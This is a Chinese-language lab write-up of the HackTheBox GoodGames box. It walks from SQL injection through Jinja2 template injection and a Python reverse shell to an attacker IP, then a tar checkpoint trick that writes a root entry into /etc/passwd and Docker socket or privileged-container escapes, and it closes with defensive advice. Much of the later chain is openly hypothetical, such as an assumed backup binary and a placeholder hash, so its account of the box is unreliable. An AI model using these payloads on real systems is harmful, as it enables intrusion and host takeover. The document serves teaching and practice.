从SQL注入到容器逃逸:HackTheBox GoodGames靶机完整渗透实战解析
1. 项目概述与核心价值
最近在复现和整理一些渗透测试的实战案例,发现“HackTheBox GoodGames”这台靶机非常有意思,它完整地串联了从Web应用漏洞到容器逃逸的整个攻击链条。很多朋友在打靶时,可能只关注了前期的SQL注入(SQLi)或者服务器端模板注入(SSTI),却忽略了最后一步的权限提升和逃逸,导致攻击链不完整。今天,我就以一个从业者的视角,把这台靶机的完整渗透过程拆解一遍,重点不是告诉你“点哪里”,而是解释清楚“为什么这里会有漏洞”以及“每一步背后的逻辑是什么”。
这个靶场模拟了一个名为“GoodGames”的社交游戏平台。整个攻击路径非常经典:我们首先通过一个简单的SQL注入拿到后台管理员凭证,然后利用后台功能中的服务器端模板注入(SSTI)获取一个反向Shell,进入目标容器。最后,在容器内部,我们通过分析Docker环境,利用一个SUID权限的二进制文件实现容器逃逸,最终在宿主机上拿到root权限。这个过程几乎涵盖了从外网到内网、从低权限到高权限的完整渗透场景,对于理解现代Web应用安全风险和容器安全非常有帮助。
无论你是刚入门渗透测试的新手,还是想巩固Web到内网知识体系的老手,这个案例都值得深入研究。我会在每一步都补充上我踩过的坑、工具的参数选择理由,以及遇到问题时的排查思路,确保你看完就能自己动手复现出来。
2. 攻击链全景与核心思路拆解
在动手之前,我们先从高处俯瞰一下整个攻击链条。这有助于我们理解攻击者(也就是我们)的思维路径,而不是机械地执行命令。整个流程可以清晰地划分为三个阶段,每个阶段的目标和利用的技术都不同。
2.1 第一阶段:外部突破——SQL注入获取初始立足点
目标是一个Web应用,我们的入口点自然是从网站前端开始。第一阶段的核心目标是获取一个有效的后台登录凭证。为什么是后台?因为前台功能通常受限,而后台往往存在更多的高危功能点,是我们进入第二阶段的关键跳板。
在这个靶机中,我们发现的漏洞是联合查询(Union-Based)的SQL注入。它出现在用户登录/注册功能的一个参数里。选择从这里入手,是因为登录功能通常直接与数据库交互,且开发者容易在拼接SQL语句时疏忽过滤。我们的思路是:利用注入点,直接查询数据库,从中提取出管理员用户的用户名和密码哈希值。这里会涉及信息收集(判断数据库类型、版本、表结构)和利用SQL语句直接读取数据的过程。
2.2 第二阶段:横向移动——SSTI获取代码执行权限
拿到管理员账号密码后,我们登录后台。第二阶段的目标是将Web应用权限转化为服务器操作系统层面的命令执行权限,也就是拿到一个Shell。
在后台,我们发现了一个“更新个人信息”或类似的功能,它允许用户输入内容,并且这些内容会在服务器端被渲染。这里隐藏着一个**服务器端模板注入(SSTI)**漏洞。模板引擎(如Flask的Jinja2)的本意是动态生成HTML,但如果没有对用户输入进行严格过滤,攻击者就可以注入模板语法,从而执行任意代码。我们的思路是:通过SSTI漏洞,构造一个能触发反向连接的Payload,让目标服务器主动连接我们控制的监听器,从而获得一个反向Shell。
2.3 第三阶段:权限提升——Docker环境分析与逃逸
通过反向Shell,我们进入了目标服务器环境。执行whoami和id命令后,发现我们只是一个普通用户(比如www-data)。第三阶段的目标是提升权限,最终逃逸出Docker容器,控制宿主机。
首先,我们需要判断自己是否在容器内。通过检查/.dockerenv文件、/proc/1/cgroup内容等可以确认。确认在容器内后,逃逸的思路有很多。在这个靶机中,关键点是发现了一个具有SUID权限的非常见二进制文件。SUID意味着任何用户执行这个程序时,都会以文件所有者的权限运行。如果这个程序的功能存在缺陷(比如能执行系统命令或读写敏感文件),我们就可以利用它来提升权限。我们的思路是:分析这个SUID文件的功能,寻找其内部可能调用系统命令的方式,通过环境变量劫持或参数注入,让它以root权限执行我们指定的命令,从而实现容器内提权乃至逃逸到宿主机。
这三个阶段环环相扣,缺一不可。下面,我们就进入具体的实操环节,我会把每个步骤的参数、命令和背后的思考都讲清楚。
3. 第一阶段实操:SQL注入漏洞利用与凭证获取
拿到靶机IP后,第一步永远是信息收集。用浏览器访问,或者用nmap进行快速扫描:
nmap -sV -sC -O <靶机IP>参数解释:-sV探测服务版本,-sC使用默认脚本扫描,-O尝试识别操作系统。扫描结果会显示开放了80端口(HTTP)和22端口(SSH)。我们先聚焦80端口的Web服务。
访问网站,是一个游戏社区。常规操作:查看页面源码、用gobuster或dirsearch进行目录扫描,寻找隐藏路径或后台入口。
dirsearch -u http://<靶机IP> -e php,html,js,txt -w /usr/share/wordlists/dirb/common.txt很快,我们可能会发现/login和/register等路径。但更有效的方法是直接测试功能点。我习惯从登录框开始测试SQL注入。
3.1 定位与验证SQL注入点
在登录框,尝试使用经典的单引号‘来测试。在用户名或密码字段输入‘,提交后观察页面反应。如果页面返回数据库错误(如SQL语法错误),或者登录行为出现异常(比如错误的用户名密码提示语变了),那就可能存在注入。
在GoodGames靶机中,我发现在注册功能的username参数存在注入。更具体地说,是在注册时检查用户名是否存在的异步请求中。我们可以用Burp Suite拦截这个请求。
实际操作与思考过程:
- 打开Burp Suite,设置好代理。
- 在浏览器访问注册页面,输入一个用户名(如
test)后,浏览器通常会发送一个AJAX请求到类似/check_username的端点,参数为username=test。 - Burp拦截到这个
GET或POST请求。 - 将
username参数的值修改为test‘,然后发送。 - 观察响应。如果返回的内容从“用户名可用”变成了某种错误或空白,初步说明单引号破坏了SQL语句。
为了确认,我们进行布尔盲注测试。提交test‘ and ‘1’=‘1,如果页面正常返回(用户名已存在或可用),再提交test‘ and ‘1’=‘2,如果返回异常(如直接报错或返回不同内容),那么就可以确定存在基于布尔的SQL注入。
注意:这里我直接使用了
and ‘1’=‘1这种Payload,是因为我根据错误信息推测后端SQL语句可能是SELECT * FROM users WHERE username = ‘$input’。单引号闭合了前面的引号,然后我们插入自己的逻辑。这是经验判断,需要根据实际情况调整。
3.2 利用SQLMap自动化注入与手动Payload构造
确认漏洞后,我们可以使用sqlmap进行自动化利用,快速获取数据。但理解手动过程至关重要。
sqlmap -u “http://<靶机IP>/api/check_username?username=test” --batch --dbs参数--batch让sqlmap自动选择默认选项,--dbs枚举数据库。sqlmap可能会识别出数据库是MySQL。
然而,手动构造能让我们更清楚原理。假设我们通过错误信息或测试,知道后端查询大概是:
SELECT id FROM users WHERE username = ‘$username’我们的目标是让这个查询返回我们想要的数据,比如管理员的密码。
步骤一:确定字段数。使用ORDER BY子句。提交Payload:test‘ ORDER BY 1-- -,test‘ ORDER BY 2-- -,依次递增,直到页面返回错误。如果ORDER BY 3出错,说明原始查询只有2个字段。-- -是注释符,用于注释掉原SQL语句后面的部分。
步骤二:确定回显点。使用UNION SELECT。因为字段数是2,我们构造:test‘ UNION SELECT 1,2-- -。如果页面正常,并且原本显示用户名的地方变成了数字1或2,那就说明这个位置可以回显我们查询的数据。假设数字2的位置可以回显。
步骤三:获取当前数据库和用户信息。修改Payload,利用回显点:test‘ UNION SELECT 1, database()-- -,回显位置会显示当前数据库名。test‘ UNION SELECT 1, user()-- -会显示当前数据库用户。这有助于我们了解权限。
步骤四:枚举表名和列名。在MySQL中,我们可以查询information_schema数据库。
test‘ UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema = database()-- -这个Payload会将当前数据库中的所有表名连接起来并显示在回显点。假设我们看到了users表。
接着枚举users表的列名:
test‘ UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() AND table_name = ‘users’-- -我们可能会看到id,username,password,is_admin等列。
步骤五:提取关键数据。最后,直接查询管理员账号密码:
test‘ UNION SELECT 1, concat(username, ‘:’, password) FROM users WHERE is_admin = 1-- -这样,我们就能在回显点直接看到类似admin:2b2e6f9c5b5c5c5c5c5c5c5c5c5c5c5c这样的字符串,冒号前是用户名,后面是密码哈希。
实操心得:在实际测试中,页面可能没有明显的回显点,这时就需要用到盲注(布尔盲注或时间盲注)。布尔盲注通过页面返回的真/假不同状态来逐位推断数据,时间盲注则通过
SLEEP()函数是否执行来判。虽然慢,但原理相通。GoodGames这个点属于有回显的联合查询注入,算是比较友好的。
3.3 密码哈希破解与后台登录
拿到的密码通常是经过哈希处理的(比如MD5、SHA1)。我们需要用工具如john或hashcat进行破解。首先识别哈希类型,可以用hash-identifier工具,或者根据长度和字符集判断(32位十六进制通常是MD5)。
假设它是MD5,我们使用john:
echo “2b2e6f9c5b5c5c5c5c5c5c5c5c5c5c5c” > hash.txt john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt--format指定哈希类型,--wordlist指定字典。如果密码不够复杂,很快就能破解出来。
拿到明文密码后,尝试在网站的登录页面使用admin和破解出的密码登录。成功进入后台管理界面,第一阶段目标达成。
4. 第二阶段实操:服务器端模板注入(SSTI)与反向Shell获取
进入后台后,不要漫无目的地点击。我们的目标是找到一个能将我们输入的内容,在服务器端进行“渲染”或“执行”的地方。常见的位置包括:个人资料编辑(昵称、签名)、页面模板编辑、文件上传名称、甚至某些查询结果的渲染页面。
4.1 发现与确认SSTI漏洞
在GoodGames后台,存在一个“更新账户信息”的功能,可能包含“姓名”、“邮箱”等字段。SSTI的测试方法很简单:在每一个可输入的字段,尝试插入模板引擎的通用语法。
测试Payload示例:
- Jinja2 (Flask):
{{ 7*7 }},提交后查看页面,如果显示49,则存在SSTI。 - Twig (PHP):
{{ 7*7 }}或{{‘7’*7}},显示7777777。 - Smarty:
{7*7}。
我们在“姓名”或“公司名”字段输入{{ 7*7 }},提交后,在页面重新加载显示我们姓名的地方,如果看到了49,而不是{{ 7*7 }},那么恭喜,SSTI漏洞存在。这证明我们输入的内容被服务器端的模板引擎执行了。
注意事项:有时候表达式执行了但结果没有直接显示在页面上。我们需要查看网页源代码(Ctrl+U),可能在HTML注释、隐藏标签或属性值里找到计算结果。另一种方法是使用会引发错误的Payload,如
{{ ‘’ .__class__ }},通过错误信息来判断模板引擎类型。
4.2 利用SSTI执行系统命令
确认漏洞后,下一步就是通过模板引擎的沙箱逃逸,执行系统命令。不同模板引擎的Payload不同。假设我们通过错误信息确认是Jinja2。
Jinja2中,我们可以利用Python的内省特性来一步步获取到执行命令的类。一个经典的Payload链如下:
- 获取字符串的类对象:
{{ ‘’.__class__ }},这会显示<class ‘str’>。 - 获取基类(object):
{{ ‘’.__class__.__mro__ }}或{{ ‘’.__class__.__bases__ }}。__mro__会显示方法解析顺序,通常包含<class ‘object’>。 - 获取object的所有子类:
{{ ‘’.__class__.__mro__[1].__subclasses__() }}。这会列出一大堆Python内置类和加载的模块类。我们需要从中找到能执行命令的类,比如<class ‘subprocess.Popen’>。
这个过程很繁琐。通常我们会使用一个已知的、较短的Payload来直接执行命令。经过搜索和测试,一个在Jinja2中常用的有效Payload是:
{{ request.application.__globals__.__builtins__.__import__(‘os’).popen(‘whoami’).read() }}解释一下:
request是Flask的请求对象。__globals__包含函数全局变量的字典。__builtins__是内置模块。__import__(‘os’)动态导入os模块。popen(‘whoami’).read()执行系统命令并读取输出。
将这个Payload插入到存在SSTI的字段并提交,如果页面显示了当前服务器进程的用户(如www-data),说明命令执行成功。
4.3 建立反向Shell连接
执行单条命令还不够,我们需要一个交互式的Shell。这就需要用到反向Shell。原理是让靶机主动连接我们控制的主机。
第一步,在攻击机上启动监听。使用netcat监听一个端口(比如4444):
nc -lvnp 4444参数:-l监听,-v详细输出,-n不解析域名,-p指定端口。
第二步,构造反向Shell的SSTI Payload。我们需要一个能发起网络连接的命令。Python是通常可用的。Payload如下:
{{ request.application.__globals__.__builtins__.__import__(‘os’).popen(‘python3 -c “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\“<你的IP>\”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\“/bin/bash\”)”’).read() }}这个Payload看起来很复杂,其核心是执行了一段Python代码。这段代码创建了一个socket,连接到我们攻击机的4444端口,然后将标准输入、输出、错误都重定向到这个socket,最后生成一个bash shell。
重要提示:你需要将
<你的IP>替换成你攻击机的真实IP地址。如果靶机无法出网(在HTB中通常可以),这个步骤会失败。另外,由于Payload中有大量引号,在Web表单中输入时要注意转义,或者直接通过Burp Suite修改请求包更为稳妥。
第三步,提交Payload并等待连接。在存在SSTI的字段提交上述Payload(最好通过Burp Repeater模块发送,方便修改和观察)。如果一切顺利,你会在netcat监听窗口看到连接建立,并得到一个bash提示符。执行whoami和id命令确认权限,通常是www-data用户。至此,我们成功在目标容器内获得了初始Shell。
5. 第三阶段实操:容器内信息收集与Docker逃逸
拿到Shell后,我们处于一个低权限的容器环境。输入ls -la /查看根目录,如果看到.dockerenv文件,或者cat /proc/1/cgroup输出中包含docker字样,就能确认我们在Docker容器内。
5.1 容器内初步信息收集
进行彻底的枚举:
# 查看当前用户和权限 id whoami # 查看操作系统和内核信息 uname -a cat /etc/os-release # 查看环境变量,可能包含密钥或配置信息 env # 查看进程,寻找其他服务或有趣的应用 ps aux # 查看网络连接,了解容器内外的网络拓扑 netstat -antp # 查看已安装的软件包(根据系统类型) dpkg -l # Debian/Ubuntu rpm -qa # CentOS/RHEL # 寻找敏感文件,如配置文件、备份、密钥 find / -type f -name “*.pem” 2>/dev/null find / -type f -name “*id_rsa*” 2>/dev/null find / -type f -name “*.sql” 2>/dev/null find / -type f -name “*.bak” 2>/dev/null # 检查具有SUID权限的特殊文件,这是提权的重点 find / -type f -perm -4000 2>/dev/null最后一条命令find / -type f -perm -4000会列出所有设置了SUID位的文件。SUID文件是容器逃逸的常见突破口。
5.2 分析SUID文件与漏洞利用
在列出的SUID文件中,我们寻找那些非系统默认的、或者功能不同寻常的二进制文件。在GoodGames靶机中,你可能会发现一个名为/usr/bin/something或/opt/下的自定义程序。
假设我们找到一个可疑的SUID文件叫/usr/local/bin/backup。首先用file命令查看其类型:
file /usr/local/bin/backup如果是ELF可执行文件,尝试运行它看看功能:
/usr/local/bin/backup或者查看是否有帮助信息:
/usr/local/bin/backup --help假设它提示需要提供一个路径作为参数,比如/usr/local/bin/backup /home/user,功能可能是打包备份某个目录。
关键思路:很多自定义的备份脚本内部会调用系统命令,如tar,cp,rsync,并且可能没有使用绝对路径,或者对用户输入过滤不严。我们可以尝试通过环境变量PATH劫持,或者利用命令注入。
测试命令注入:
/usr/local/bin/backup “/home/user; whoami”如果程序输出了当前用户(可能是root),说明存在命令注入。因为SUID权限,这个whoami命令是以root身份执行的。
更稳定的利用方式:如果程序内部调用了tar,并且我们可以控制部分参数,就可能利用tar的--checkpoint和--checkpoint-action选项来执行任意命令。这是tar的一个特性,常用于容器逃逸。
例如,我们可以这样利用:
cd /tmp mkdir exploit cd exploit # 创建一个会被tar读取的恶意文件 echo “echo ‘root::0:0:root:/root:/bin/bash’ >> /etc/passwd” > shell.sh chmod +x shell.sh # 使用备份程序,并利用tar参数注入 /usr/local/bin/backup “--checkpoint=1 --checkpoint-action=exec=./shell.sh .”这个Payload利用了tar命令的特性,当设置检查点时,会执行我们指定的脚本shell.sh。这个脚本向/etc/passwd写入了一个无密码的root用户。由于备份程序以root权限运行,所以这个写入操作能成功。
5.3 实现容器逃逸与宿主机控制
成功在容器内获得root权限后,我们还需要逃逸到宿主机。因为容器与宿主机共享内核,我们可以尝试访问宿主机的文件系统或进程。
方法一:挂载宿主机根目录。如果容器内的root用户有权限挂载设备,我们可以尝试将宿主机的根目录挂载到容器内的一个目录。
# 在容器内 mkdir /mnt/host mount /dev/sda1 /mnt/host # /dev/sda1 可能是宿主机磁盘,需要尝试 # 如果mount失败,可以尝试查看/proc/mounts寻找线索 cat /proc/mounts如果挂载成功,/mnt/host就是宿主机的文件系统,我们可以直接读写宿主机的文件,例如修改/mnt/host/etc/passwd或者写入SSH密钥。
方法二:利用Docker Socket。Docker守护进程通常通过一个Unix Socket文件/var/run/docker.sock与客户端通信。如果这个socket文件在容器内是可读写的,那么容器内的root用户就可以直接与宿主机Docker守护进程通信,从而控制宿主机上运行的所有容器,甚至创建新的容器并挂载宿主机根目录。
# 检查docker.sock是否存在且有权限 ls -la /var/run/docker.sock如果存在且可写,我们可以安装Docker客户端(或使用curl直接调用API),然后执行:
# 在容器内创建一个新容器,并将宿主机根目录挂载进去 docker -H unix:///var/run/docker.sock run -it -v /:/host ubuntu:latest chroot /host bash这条命令会启动一个新的Ubuntu容器,并将宿主机的/目录挂载到新容器的/host目录,然后chroot到/host,获得一个宿主机上的bash shell。
方法三:利用特权容器。如果容器是以--privileged模式运行的,那么容器内的root用户几乎拥有宿主机root的全部能力,可以很方便地逃逸。例如,可以直接挂载宿主机磁盘:
# 在特权容器内 fdisk -l # 查看磁盘 mkdir /host mount /dev/vda1 /host # 挂载宿主机磁盘 chroot /host bash在GoodGames靶机中,通常结合了SUID提权和某种文件系统访问或Docker Socket滥用,最终实现在宿主机上获得root shell。完成这一步后,整个从Web到宿主机Root的完整攻击链就彻底打通了。
6. 常见问题、排查技巧与防御建议实录
在实际操作中,你几乎一定会遇到各种问题。下面我整理了一些常见的情况和我的解决思路。
6.1 SQL注入阶段常见问题
问题1:使用sqlmap跑不出数据,但手工测试似乎有注入。
- 可能原因1:请求需要特定的Header(如
X-Requested-With: XMLHttpRequest)或Cookie(会话有效)。 - 排查:用Burp拦截正常请求,完整复制(包括所有Header和Cookie)到
sqlmap的-r参数文件中:sqlmap -r request.txt --batch。 - 可能原因2:注入点是POST请求的JSON格式数据。
- 排查:在Burp中右键,选择“Copy to file”,保存整个请求。用
sqlmap的-r参数加载该文件,并使用--data参数指定数据部分,可能需要加--headers指定Content-Type: application/json。
问题2:手工构造UNION SELECT时,页面返回空白或错误。
- 可能原因1:字段数判断错误。
ORDER BY的临界点判断有误。 - 排查:更仔细地观察页面变化。有时
ORDER BY X正常,ORDER BY X+1可能不是直接报错,而是页面内容布局错乱或部分缺失,这也说明字段数是X。 - 可能原因2:前后端数据类型不匹配。比如回显点需要字符串,但你
UNION SELECT的数字。 - 排查:尝试将
UNION SELECT后的所有字段都换成字符串,如‘a‘,或者NULL。例如:UNION SELECT NULL, NULL-- -。
6.2 SSTI阶段常见问题
问题1:测试{{ 7*7 }}没有显示49,但页面有异常。
- 可能原因:模板引擎不是Jinja2,或者是其他语法。或者表达式被执行了,但输出被过滤或没有渲染到当前页面。
- 排查:
- 尝试其他引擎的Payload:
{7*7}(Smarty),<%= 7*7 %>(ERB),${{7*7}}(某些PHP模板)。 - 查看网页源代码,可能在注释、属性值或JavaScript变量里。
- 尝试引发错误的Payload:
{{ ‘’ .__class__ }}或{{ config.items() }},看错误信息。
- 尝试其他引擎的Payload:
问题2:构造的反向Shell Payload执行后,netcat没有收到连接。
- 可能原因1:Payload中的命令语法错误,或Python版本不对。
- 排查:先执行一个简单的命令测试,如
{{ ‘’.__class__.__mro__[1].__subclasses__()[XXX] }}(XXX是subprocess.Popen的索引),或者直接执行ping命令看是否通:{{ request.application.__globals__.__builtins__.__import__(‘os’).system(‘ping -c 1 <你的IP>’) }}。如果ping不通,可能是容器网络限制。 - 可能原因2:攻击机防火墙阻止了入站连接,或者IP/端口写错了。
- 排查:在攻击机上用
sudo ufw status检查防火墙,临时关闭或放行端口。确保nc -lvnp 4444命令在正确的网卡上监听(如果是虚拟机,注意NAT/桥接模式)。
6.3 Docker逃逸阶段常见问题
问题1:找不到有利用价值的SUID文件。
- 可能原因:目标环境比较干净。
- 排查:
- 扩大搜索范围:
find / -type f -perm -4000 -o -perm -2000 2>/dev/null,同时查找SUID和SGID文件。 - 检查
/etc/sudoers文件,看当前用户是否有可以免密运行的命令:sudo -l。 - 检查
/etc/passwd中是否有非root用户但UID为0的用户。 - 检查
crontab定时任务,看是否有以root权限运行的脚本,且脚本内容可写。
- 扩大搜索范围:
问题2:利用tar的--checkpoint选项失败。
- 可能原因1:目标系统的
tar版本不支持--checkpoint选项,或者该选项被禁用。 - 可能原因2:备份程序的调用方式不是简单的
tar cf,可能封装了其他逻辑。 - 排查:
- 在容器内检查
tar的版本和帮助:tar --version,tar --help | grep checkpoint。 - 使用
strace跟踪备份程序的执行过程,看它具体调用了哪些命令和参数:strace /usr/local/bin/backup /tmp 2>&1 | grep exec。这能清晰看到命令是如何被调用的。
- 在容器内检查
6.4 防御建议思考
从防御者角度看,这个攻击链的每一个环节都可以被加固:
防御SQL注入:
- 根本方法:使用参数化查询(Prepared Statements)或ORM框架,永远不要拼接SQL语句。
- 辅助措施:对输入进行严格的类型检查和长度限制。使用Web应用防火墙(WAF)规则。
防御SSTI:
- 原则:绝对不要将用户输入直接传递给模板渲染函数。
- 实践:对用户输入进行严格的过滤和白名单验证。如果必须动态渲染,使用沙箱环境,并禁用危险的Python内置模块和函数。
防御Docker逃逸:
- 最小权限原则:运行容器时使用非root用户(
-u参数)。绝不使用--privileged标志。 - 只读文件系统:对容器内不需要写入的目录,使用只读挂载(
-v /host/path:/container/path:ro)。 - 移除能力:使用
--cap-drop=ALL移除所有权限,再按需添加(--cap-add)。 - 挂载Docker Socket需极度谨慎:除非绝对必要,否则不要将
/var/run/docker.sock挂载到容器内。如果必须,要严格限制其访问权限和使用范围。 - 定期更新与扫描:保持Docker和宿主机内核的更新。使用镜像安全扫描工具。
- 最小权限原则:运行容器时使用非root用户(
这个靶机的渗透过程,就像一次完整的安全体检,暴露了从开发到运维各个环节可能出现的疏忽。作为攻击方,我们学习如何串联利用这些漏洞;作为防御方,我们则要思考如何层层设防,切断这条攻击链。真正的安全,始于对每一行代码、每一个配置的敬畏。